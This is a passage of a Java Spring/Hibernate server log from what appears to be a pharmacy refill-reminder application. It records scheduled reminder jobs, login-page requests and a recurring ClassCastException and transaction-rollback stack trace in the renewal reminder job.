javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 22:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 22:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 22:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 22:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 22:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 22:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 22:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 22:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 22:27:34 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/ 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 22:27:34 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:27:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 22:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 22:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 22:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 22:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 22:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 22:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 22:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 22:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 22:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 22:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 22:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 22:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 22:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 22:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 22:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 22:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 22:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 22:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 22:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 22:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 22:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 22:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 22:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at 